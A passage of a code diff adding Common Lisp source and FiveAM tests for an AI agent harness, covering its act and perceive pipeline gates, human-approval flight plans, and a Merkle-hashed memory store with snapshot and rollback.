+              :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+
+(defun tool-result-format (tool-name result)
+  "Format a tool result for display."
+  (if (listp result)
+      (let ((status (getf result :status))
+            (content (getf result :content))
+            (msg (getf result :message)))
+        (cond
+          ((and (eq status :success) content) (format nil "~a" content))
+          ((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
+          (t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
+      (format nil "TOOL [~a] RESULT: ~a" tool-name result)))
+
+(defun loop-gate-act (signal)
+  "Final stage of the metabolic pipeline: Actuation.
+For approval-required actions, creates a Flight Plan instead of executing."
+  (let* ((approved (getf signal :approved-action))
+         (signal-status (getf signal :status))
+         (type (getf signal :type))
+         (meta (getf signal :meta))
+         (source (getf meta :source))
+         (feedback nil))
+    ;; HITL: if the approved action requires human approval,
+    ;; create a Flight Plan (Emacs) and HITL entry (all gateways).
+    (when (and approved
+               (eq (getf approved :level) :approval-required))
+      (let* ((payload (getf approved :payload))
+             (blocked-action (getf payload :action))
+             (hitl (hitl-create blocked-action)))
+        (log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
+        (dispatcher-flight-plan-create blocked-action)
+        (setf (getf signal :status) :suspended)
+        (action-dispatch (list :target source
+                               :payload (list :text (getf hitl :message)))
+                         signal)
+        (setf approved nil)
+        (setf feedback nil)))
+    (when approved
+      (let* ((original-type (getf approved :type))
+             (verified (cognitive-verify approved signal)))
+        (if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
+                 (not (eq (getf verified :level) :approval-required))
+                 (not (member original-type '(:LOG :EVENT))))
+            (progn
+              (log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
+              (setf (getf signal :approved-action) nil)
+              (setf feedback verified))
+            (progn
+              (setf (getf signal :approved-action) verified)
+              (setf approved verified)))))
+
+    (case type
+      (:REQUEST (action-dispatch signal signal))
+      (:LOG (action-dispatch signal signal))
+      (:EVENT
+       (if approved
+           (let* ((target (getf approved :target))
+                  (result (action-dispatch approved signal)))
+             (cond
+               ((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
+                (setf feedback result))
+               ((and result (not (member target *actuator-silent*)))
+                (setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
+                                    :payload (list :sensor :tool-output :result result :tool approved))))))
+           (when source (action-dispatch signal signal)))))
+    (setf (getf signal :status) :acted)
+    feedback))
+
+(defun act-gate (signal)
+  (loop-gate-act signal))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-act-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-act-suite))
+
+(in-package :passepartout-pipeline-act-tests)
+
+(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
+(in-suite pipeline-act-suite)
+
+(test test-loop-gate-act-basic
+  "Contract 1: approved action reaches :acted status via loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
+          (result (loop-gate-act signal)))
+    (is (eq :acted (getf signal :status)))
+    (is (null result))))
+
+(test test-loop-gate-act-no-approved-action
+  "Contract 1: signal with no approved-action still reaches :acted status."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((signal (list :type :EVENT :status nil :depth 0)))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))))
+
+(test test-loop-gate-act-last-mile-reject
+  "Contract 1: last-mile cognitive-verify rejection blocks approved-action."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout::defskill :mock-blocker
+    :priority 50
+    :trigger (lambda (ctx) (declare (ignore ctx)) t)
+    :deterministic (lambda (action ctx)
+                    (declare (ignore ctx action))
+                    (list :type :LOG :payload (list :text "Last-mile block"))))
+  (let* ((signal (list :type :EVENT :status nil :depth 0
+                        :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
+    (loop-gate-act signal)
+    (is (eq :acted (getf signal :status)))
+    (is (null (getf signal :approved-action)))))
+
+(test test-loop-gate-act-preserves-meta
+  "Contract 1: signal metadata is not mutated by loop-gate-act."
+  (clrhash passepartout::*skill-registry*)
+  (let* ((meta '(:source :tui :session "s1"))
+         (signal (list :type :EVENT :status nil :depth 0 :meta meta
+                        :approved-action '(:target :cli :payload (:text "test")))))
+    (loop-gate-act signal)
+    (is (equal meta (getf signal :meta)))))
+
+(test test-action-dispatch-routes
+  "Contract 3: action-dispatch routes to registered actuators without crashing."
+  (actuator-initialize)
+  (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
+                                  '(:type :EVENT :depth 0))))
+    (is (numberp result) "eval should return a number")))

lisp/core-memory.lisp

@@ -0,0 +1,213 @@
+(in-package :passepartout)
+
+(defvar *memory-store* (make-hash-table :test 'equal))
+
+(defvar *memory-history* (make-hash-table :test 'equal)
+  "Immutable Merkle-Tree versioning store mapping hashes to objects.")
+
+(defun memory-object-get (id)
+  "Retrieves an memory-object by ID from *memory-store*."
+  (gethash id *memory-store*))
+
+(defun memory-objects-by-attribute (attr value)
+  "Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE."
+  (let ((results nil))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when (equal (getf (memory-object-attributes obj) attr) value)
+                 (push obj results)))
+             *memory-store*)
+    (nreverse results)))
+
+(defun memory-id-generate ()
+  "Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs."
+  (concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid)))))
+
+(defstruct memory-object
+  id type attributes content vector parent-id children version last-sync hash scope)
+
+(defmethod make-load-form ((obj memory-object) &optional env)
+  (make-load-form-saving-slots obj :environment env))
+
+(defun deep-copy-memory-object (obj)
+  "Creates a full copy of an memory-object, including fresh lists for attributes and children."
+  (make-memory-object :id (memory-object-id obj)
+                  :type (memory-object-type obj)
+                  :attributes (copy-list (memory-object-attributes obj))
+                  :content (memory-object-content obj)
+                  :vector (memory-object-vector obj)
+                  :parent-id (memory-object-parent-id obj)
+                  :children (copy-list (memory-object-children obj))
+                  :version (memory-object-version obj)
+                  :last-sync (memory-object-last-sync obj)
+                  :hash (memory-object-hash obj)
+                  :scope (memory-object-scope obj)))
+
+(defun memory-merkle-hash (id type attributes content child-hashes)
+  (let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
+         (sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
+         (attr-string (format nil "~s" sorted-alist))
+         (children-string (format nil "~{~a~}" child-hashes))
+         (data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
+                               id type attr-string (or content "") children-string))
+         (digester (ironclad:make-digest :sha256)))
+    (ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
+    (ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
+
+(defun ingest-ast (ast &key parent-id (scope :memex))
+  (let* ((type (getf ast :type))
+         (props (getf ast :properties))
+         (id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
+         (contents (getf ast :contents))
+         (raw-content (when (eq type :HEADLINE)
+                        (format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
+         (child-ids nil) (child-hashes nil))
+    (dolist (child contents)
+      (when (listp child)
+        (let ((child-id (ingest-ast child :parent-id id :scope scope)))
+          (push child-id child-ids)
+          (let ((child-obj (gethash child-id *memory-store*)))
+            (when child-obj (push (memory-object-hash child-obj) child-hashes))))))
+    (setf child-ids (nreverse child-ids))
+    (setf child-hashes (nreverse child-hashes))
+    (let* ((hash (memory-merkle-hash id type props raw-content child-hashes))
+           (existing-obj (gethash hash *memory-history*))
+           (obj (or existing-obj
+                    (make-memory-object 
+                     :id id :type type :attributes props :content raw-content
+                     :parent-id parent-id :children child-ids
+                     :version (get-universal-time) :last-sync (get-universal-time)
+                     :hash hash :scope scope))))
+      (unless existing-obj (setf (gethash hash *memory-history*) obj))
+      (setf (gethash id *memory-store*) obj)
+      ;; Populate embedding vector for new objects
+      (when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
+        (handler-case
+            (setf (memory-object-vector obj)
+                  (embeddings-compute raw-content))
+          (error (c)
+            (log-message "INGEST: Embedding deferred: ~a" c))))
+      id)))
+
+(defvar *memory-snapshots* nil)
+
+(defun memory-hash-table-copy (hash-table)
+  "Creates an independent copy of a hash table."
+  (let ((new-table (make-hash-table :test (hash-table-test hash-table) 
+                                     :size (hash-table-size hash-table))))
+    (maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
+    new-table))
+
+(defun snapshot-memory ()
+  "Creates a CoW snapshot of *memory-store* for rollback recovery."
+  (let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*))))
+    (maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*)
+    (push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*)
+    (when (> (length *memory-snapshots*) 20)
+      (setf *memory-snapshots* (subseq *memory-snapshots* 0 20)))
+    (log-message "MEMORY - CoW Memory snapshot created.")))
+
+(defun rollback-memory (&optional (index 0))
+  "Restores *memory-store* from a snapshot. INDEX 0 = most recent."
+  (let ((snapshot (nth index *memory-snapshots*)))
+    (if snapshot
+        (progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data)))
+               (log-message "MEMORY - Memory rolled back to snapshot ~a" index))
+        (log-message "MEMORY ERROR - Snapshot ~a not found." index))))
+
+(defvar *memory-snapshot-path* nil)
+
+(defun memory-snapshot-path-ensure ()
+  "Returns the path to the memory snapshot file, resolving env or default."
+  (or *memory-snapshot-path*
+      (let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
+        (setf *memory-snapshot-path*
+              (or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
+
+(defun save-memory-to-disk ()
+  "Writes the entire memory and history store to disk as a plist."
+  (let ((path (memory-snapshot-path-ensure)))
+    (with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
+      (let ((memory-alist nil) (history-alist nil))
+        (maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*)
+        (maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*)
+        (prin1 (list :memory memory-alist :history-store history-alist) stream)))
+    (log-message "MEMORY - Saved to ~a" path)))
+
+(defun load-memory-from-disk ()
+  "Reads memory state from disk and restores *memory-store* and *memory-history*."
+  (let ((path (memory-snapshot-path-ensure)))
+    (when (uiop:file-exists-p path)
+      (handler-case
+          (with-open-file (stream path :direction :input)
+            (let ((data (let ((*read-eval* nil)) (read stream nil))))
+              (when data
+                (let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
+                  (setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist)))
+                  (dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv)))
+                  (setf *memory-history* (make-hash-table :test 'equal :size (length history-alist)))
+                  (dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv)))
+                  (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
+          (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
+  t)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:memory-suite))
+
+(in-package :passepartout-memory-tests)
+
+(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
+(in-suite memory-suite)
+
+(test merkle-hash-consistency
+  "Contract 2: identical ASTs produce identical Merkle hashes."
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
+    (clrhash passepartout::*memory-store*)
+    (let ((id1 (ingest-ast ast1)))
+      (let ((hash1 (memory-object-hash (memory-object-get id1))))
+        (clrhash passepartout::*memory-store*)
+        (let ((id2 (ingest-ast ast1)))
+          (is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
+
+(test merkle-hash-different
+  "Contract 2: distinct ASTs produce different Merkle hashes."
+  (clrhash passepartout::*memory-store*)
+  (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
+         (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
+         (id1 (ingest-ast ast1))
+         (id2 (ingest-ast ast2))
+         (hash1 (memory-object-hash (memory-object-get id1)))
+         (hash2 (memory-object-hash (memory-object-get id2))))
+    (is (not (equal hash1 hash2)))))
+
+(test test-ingest-ast-returns-id
+  "Contract 1: ingest-ast returns a string ID and stores the object."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
+    (is (stringp id))
+    (is (not (null id)))))
+
+(test test-memory-object-get
+  "Contract 3: memory-object-get retrieves an object by ID after ingest."
+  (clrhash passepartout::*memory-store*)
+  (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
+    (let ((obj (memory-object-get id)))
+      (is (not (null obj)))
+      (is (eq :HEADLINE (memory-object-type obj)))
+      (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
+
+(test test-snapshot-and-rollback
+  "Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*memory-snapshots* nil)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
+  (snapshot-memory)
+  (clrhash passepartout::*memory-store*)
+  (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
+  (rollback-memory 0)
+  (is (not (null (memory-object-get "snap-a"))))
+  (is (null (memory-object-get "snap-b"))))

lisp/core-package.lisp

@@ -0,0 +1,274 @@
+(defpackage :passepartout
+  (:use :cl)
+  (:export
+   #:frame-message
+   #:read-framed-message
+    #:PROTO-GET
+    #:proto-get
+   #:*VAULT-MEMORY*
+   #:make-hello-message
+   #:validate-communication-protocol-schema
+   #:start-daemon
+   #:log-message
+   #:main
+    #:diagnostics-run-all
+    #:diagnostics-main
+    #:diagnostics-dependencies-check
+    #:diagnostics-env-check
+    #:register-provider
+    #:provider-openai-request
+    #:provider-config
+   #:run-setup-wizard
+   #:ingest-ast
+   #:memory-object-get
+   #:*memory-store*
+   #:memory-object
+   #:make-memory-object
+   #:memory-object-id
+   #:memory-object-type
+   #:memory-object-attributes
+   #:memory-object-parent-id
+   #:memory-object-children
+   #:memory-object-version
+   #:memory-object-last-sync
+   #:memory-object-vector
+   #:memory-object-content
+   #:memory-object-hash
+   #:memory-object-scope
+   #:snapshot-memory
+   #:rollback-memory
+    #:context-get-system-logs
+    #:context-assemble-global-awareness
+    #:context-awareness-assemble
+    #:context-query
+   #:push-context
+   #:pop-context
+   #:current-context
+   #:current-scope
+   #:context-stack-depth
+   #:context-save
+   #:context-load
+   #:focus-project
+   #:focus-session
+   #:focus-memex
+   #:unfocus
+   #:process-signal
+   #:loop-process
+    #:perceive-gate
+    #:loop-gate-perceive
+    #:act-gate
+    #:loop-gate-act
+    #:reason-gate
+    #:loop-gate-reason
+    #:cognitive-verify
+    #:backend-cascade-call
+    #:json-alist-to-plist
+    #:json-alist-to-plist
+    #:inject-stimulus
+    #:stimulus-inject
+    #:hitl-create
+    #:hitl-approve
+    #:hitl-deny
+    #:hitl-handle-message
+    #:dispatcher-check-secret-path
+    #:dispatcher-check-shell-safety
+    #:dispatcher-check-privacy-tags
+    #:dispatcher-check-network-exfil
+    #:dispatcher-gate
+    #:wildcard-match
+    #:actuator-initialize
+   #:action-dispatch
+   #:register-actuator
+   #:load-skill-from-org
+    #:skill-initialize-all
+    #:lisp-syntax-validate
+    #:defskill
+       #:*skill-registry*
+       #:*scope-resolver*
+       #:*embedding-backend*
+       #:*embedding-queue*
+       #:*embedding-provider*
+       #:embed-queue-object
+       #:embed-object
+       #:embed-all-pending
+       #:embedding-backend-hashing
+       #:embedding-backend-native
+       #:embedding-native-load-model
+       #:embedding-native-unload
+       #:embedding-native-ensure-loaded
+       #:embedding-native-get-dim
+       #:embeddings-compute
+       #:mark-vector-stale
+     #:skill
+   #:skill-name
+   #:skill-priority
+   #:skill-dependencies
+   #:skill-trigger-fn
+   #:skill-probabilistic-prompt
+   #:skill-deterministic-fn
+   #:def-cognitive-tool
+   #:*cognitive-tool-registry*
+    #:org-read-file
+    #:org-write-file
+    #:org-headline-add
+    #:org-headline-find-by-id
+    #:literate-tangle-sync-check
+    #:archivist-create-note
+    #:gateway-start
+    #:org-property-set
+    #:org-todo-set
+    #:org-id-generate
+    #:org-id-format
+    #:org-modify
+    #:lisp-validate
+    #:lisp-structural-check
+    #:lisp-syntactic-check
+    #:lisp-semantic-check
+    #:lisp-eval
+    #:lisp-format
+    #:lisp-list-definitions
+    #:lisp-extract
+    #:lisp-inject
+    #:lisp-slurp
+   #:get-oc-config-dir
+    #:get-tool-permission
+    #:set-tool-permission
+    #:check-tool-permission-gate
+    #:permission-get
+    #:permission-set
+   #:cognitive-tool
+   #:cognitive-tool-name
+   #:cognitive-tool-description
+   #:cognitive-tool-parameters
+   #:cognitive-tool-guard
+   #:cognitive-tool-body
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+    #:vault-get
+    #:vault-set
+    #:vault-get-secret
+    #:vault-set-secret
+    #:memory-objects-by-attribute
+    #:channel-cli-input
+    #:repl-eval
+    #:repl-inspect
+    #:repl-list-vars
+    #:policy-compliance-check
+    #:validator-protocol-check
+    #:archivist-extract-headlines
+    #:archivist-headline-to-filename
+    #:literate-extract-lisp-blocks
+    #:literate-block-balance-check
+    #:gateway-registry-initialize
+    #:messaging-link
+    #:messaging-unlink
+    #:gateway-configured-p
+    #:count-tokens
+    #:model-token-ratio
+    #:token-cost
+    #:provider-token-cost
+    #:cost-track-call
+    #:cost-session-total
+    #:cost-session-calls
+    #:cost-by-provider
+    #:cost-session-reset
+    #:cost-format-budget-status
+    #:cost-track-backend-call
+    #:prompt-prefix-cached
+    #:context-assemble-cached
+    #:enforce-token-budget
+    #:token-economics-initialize))
+
+(in-package :passepartout)
+
+(defun plist-get (plist key)
+  "Robust plist accessor — checks both :KEY and :key variants."
+  (let* ((s (string key))
+         (up (intern (string-upcase s) :keyword))
+         (dn (intern (string-downcase s) :keyword)))
+    (or (getf plist up) (getf plist dn))))
+
+(defvar *log-buffer* nil)
+(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
+(defvar *log-limit* 100)
+
+(defvar *skill-registry* (make-hash-table :test 'equal)
+  "Global registry of all loaded skills.")
+
+(defvar *telemetry-table* (make-hash-table :test 'equal))
+(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
+
+(defun telemetry-track (skill-name duration status)
+  "Updates performance metrics for a skill. STATUS is :success or :rejected."
+  (when skill-name
+    (bordeaux-threads:with-lock-held (*telemetry-lock*)
+      (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
+        (incf (getf entry :executions))
+        (incf (getf entry :total-time) duration)
+        (when (eq status :rejected) (incf (getf entry :failures)))
+        (setf (gethash skill-name *telemetry-table*) entry)))))
+
+(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
+
+(defstruct cognitive-tool
+  name
+  description
+  parameters
+  guard
+  body)
+
+(defmacro def-cognitive-tool (name description parameters &key guard body)
+  "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
+  `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
+         (make-cognitive-tool :name (string-downcase (string ',name))
+                              :description ,description
+                              :parameters ',parameters
+                              :guard ,guard
+                              :body ,body)))
+
+(defun cognitive-tool-prompt ()
+  "Serialises all registered tools into a prompt string for the LLM."
+  (let ((descriptions nil))
+    (maphash (lambda (k tool)
+               (declare (ignore k))
+               (push (format nil "- ~a: ~a~%  Parameters: ~a~%"
+                             (cognitive-tool-name tool)
+                             (cognitive-tool-description tool)
+                             (cognitive-tool-parameters tool))
+                     descriptions))
+              *cognitive-tool-registry*)
+    (if descriptions
+        (format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
+        "No tools registered.")))
+
+;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
+(defun generate-tool-belt-prompt ()
+  (cognitive-tool-prompt))
+
+(defun log-message (msg &rest args)
+  "Centralized, thread-safe logging for the harness."
+  (let ((formatted-msg (apply #'format nil msg args)))
+    (bordeaux-threads:with-lock-held (*log-lock*)
+      (push formatted-msg *log-buffer*)
+      (when (> (length *log-buffer*) *log-limit*)
+        (setq *log-buffer* (subseq *log-buffer* 0 *log-limit*))))
+    (format t "~a~%" formatted-msg)
+    (finish-output)))
+
+(setf *debugger-hook* (lambda (condition hook)
+  "Friendly error handler - shows diagnostic message instead of raw debugger."
+  (declare (ignore hook))
+  (format t "~%")
+  (format t "┌─────────────────────────────────────────────┐~%")
+  (format t "│  ERROR: ~A~%" (type-of condition))
+  (format t "│~%")
+   (format t "│  Run: passepartout diagnostics~%")
+  (format t "│  For system diagnostics~%")
+  (format t "└─────────────────────────────────────────────┘~%")
+  (format t "~%")
+  (format t "Details: ~A~%" condition)
+  (format t "Backtrace:~%")
+  (sb-debug:print-backtrace :count 20 :stream *standard-output*)
+  (finish-output)
+  (uiop:quit 1)))

lisp/core-perceive.lisp

@@ -0,0 +1,155 @@
+(in-package :passepartout)
+
+(defvar *loop-interrupt* nil)
+
+(defvar *scope-resolver* nil
+  "If set, function returning current scope keyword. Used by perceive gate.")
+
+(defvar *loop-async-sensors* '(:chat-message :delegation :user-command)
+  "Sensors that are processed in dedicated threads.")
+
+(defvar *loop-focus-id* nil
+  "The Org ID of the node the user is currently interacting with.")
+
+(defvar *pre-reason-handlers* (make-hash-table :test 'eq)
+  "Pre-reason handler registry: sensor keyword → handler function.")
+
+(defun register-pre-reason-handler (sensor fn)
+  "Registers FN to handle signals with SENSOR in the perceive gate.
+FN receives (signal) and returns T if consumed, nil to continue."
+  (setf (gethash sensor *pre-reason-handlers*) fn))
+
+(defun inject-stimulus (raw-message &key stream (depth 0))
+  (stimulus-inject raw-message :stream stream :depth depth))
+
+(defun stimulus-inject (raw-message &key stream (depth 0))
+  "Inject a raw message into the signal processing pipeline."
+  (let* ((payload (getf raw-message :payload))
+         (sensor (getf payload :sensor))
+         (meta (getf raw-message :meta))
+         (async-p (or (getf payload :async-p)
+                     (member sensor *loop-async-sensors*))))
+
+    (unless meta
+      (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal")))
+
+    (when stream
+      (setf (getf meta :reply-stream) stream))
+
+    (setf (getf raw-message :meta) meta)
+    (setf (getf raw-message :depth) depth)
+
+    (if async-p
+        (bt:make-thread
+         (lambda ()
+           (restart-case (process-signal raw-message)
+             (skip-event () nil)))
+         :name "passepartout-async-task")
+        
+        (restart-case
+            (handler-bind ((error (lambda (c)
+                                    (log-message "SYSTEM ERROR: ~a" c)
+                                    (invoke-restart 'skip-event))))
+              (process-signal raw-message))
+          (skip-event ()
+            (log-message "SYSTEM RECOVERY: Stimulus dropped."))))))
+
+(defun loop-gate-perceive (signal)
+  "Stage 1 of the metabolic pipeline: Normalize sensory input."
+  (let* ((payload (getf signal :payload))
+          (type (getf signal :type))
+          (meta (getf signal :meta))
+          (sensor (getf payload :sensor)))
+    ;; HITL: intercept approval/denial commands before LLM processing
+    (when (and (eq sensor :user-input)
+               (stringp (getf payload :text)))
+      (let ((text (getf payload :text)))
+        (when (ignore-errors (hitl-handle-message text (getf meta :source)))
+          (log-message "GATE [Perceive]: HITL command processed — ~a" text)
+          (return-from loop-gate-perceive signal))))
+    ;; Pre-reason handlers: dispatch custom sensors to registered skill handlers
+    (let ((handler (gethash sensor *pre-reason-handlers*)))
+      (when handler
+        (when (funcall handler signal)
+          (return-from loop-gate-perceive signal))))
+
+    (log-message "GATE [Perceive]: ~a (~a) [Source: ~s]"
+                 type (or sensor "no-sensor") (getf meta :source))
+
+    (cond ((eq type :EVENT)
+            (case sensor
+              (:buffer-update
+               (let ((ast (getf payload :ast)))
+                 (when ast
+                   (snapshot-memory)
+                   (ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
+              (:point-update
+               (let ((element (getf payload :element)))
+                 (when element
+                   (snapshot-memory)
+                   (setf *loop-focus-id* (getf element :id))
+                   (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
+              (:interrupt
+               (setf *loop-interrupt* t))
+              ;; HITL: re-injected approved action from dispatcher-approvals-process
+              (:approval-required
+               (when (getf payload :approved)
+                 (log-message "GATE [Perceive]: Approved Flight Plan re-injected")
+                  (setf (getf signal :approved) t)
+                 (setf (getf signal :approved-action) (getf payload :action))))
+              ;; Default sensor: pass through without requiring user-input processing
+              (otherwise
+               (log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor))))
+          ((eq type :RESPONSE)
+           (log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status))))
+
+    (setf (getf signal :status) :perceived)
+    (setf (getf signal :foveal-focus) *loop-focus-id*)
+    signal))
+
+(defun perceive-gate (signal)
+  (loop-gate-perceive signal))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-pipeline-perceive-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:pipeline-perceive-suite))
+
+(in-package :passepartout-pipeline-perceive-tests)
+
+(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
+(in-suite pipeline-perceive-suite)
+
+(test test-loop-gate-perceive
+  "Contract 1: :buffer-update ingests AST and sets :perceived status."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))
+    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
+
+(test test-depth-limiting
+  "Edge: depth 11 signals are rejected by the pipeline."
+  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
+    (is (null (process-signal runaway-signal)))))
+
+(test test-loop-gate-perceive-unknown-sensor
+  "Contract 1: unknown sensors pass through and reach :perceived."
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-loop-gate-perceive-no-ast
+  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
+  (clrhash passepartout::*memory-store*)
+  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
+         (result (loop-gate-perceive signal)))
+    (is (eq :perceived (getf result :status)))))
+
+(test test-depth-limiting-normal
+  "Contract 1: signals at normal depth pass through without rejection."
+  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
+    (is (not (eq :rejected (getf normal-signal :status)))
+        "Signal at normal depth should not be rejected")))

lisp/core-pipeline.lisp

@@ -0,0 +1,183 @@
+(in-package :passepartout)
+
+(defvar *interrupt-flag* nil
+  "Atomic flag set by signal handlers to trigger graceful shutdown.")
+
+(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock")
+  "Mutex protecting *interrupt-flag* access.")
+
+(defvar *heartbeat-thread* nil
+  "Handle to the heartbeat thread.")
+
+(defun loop-process (signal)
+  "The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
+  (let ((current-signal signal))
+    (loop while current-signal do
+      (let ((depth (getf current-signal :depth 0))
+            (meta (getf current-signal :meta)))
+        (when (> depth 10)
+          (log-message "METABOLISM ERROR: Max recursion depth reached.")
+          (return nil))
+
+        (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*)
+          (log-message "METABOLISM: Interrupted by shutdown signal.")
+          (return nil))
+
+        (handler-case
+             (progn
+               (setf current-signal (perceive-gate current-signal))
+               (setf current-signal (reason-gate current-signal))
+               (let ((feedback (act-gate current-signal)))
+                 (if feedback
+                     (progn
+                       (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
+                       (setf current-signal feedback))
+                     (setf current-signal nil))))
+          (error (c)
+            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
+              (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
+              (unless (member sensor '(:loop-error :tool-error :syntax-error))
+                (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
+                (rollback-memory 0))
+              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                  (setf current-signal nil)
+                  (setf current-signal
+                        (list :type :EVENT :depth (1+ depth) :meta meta
+                              :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
+
+(defun process-signal (signal)
+  (loop-process signal))
+
+(defvar *memory-auto-save-interval* 300)
+
+(defvar *heartbeat-save-counter* 0)
+
+(defun heartbeat-start ()
+  "Starts the background heartbeat thread."
+  (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
+        (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*)))
+    (setf *memory-auto-save-interval* auto-save)
+    (setf *heartbeat-save-counter* 0)
+
+    (setf *heartbeat-thread*
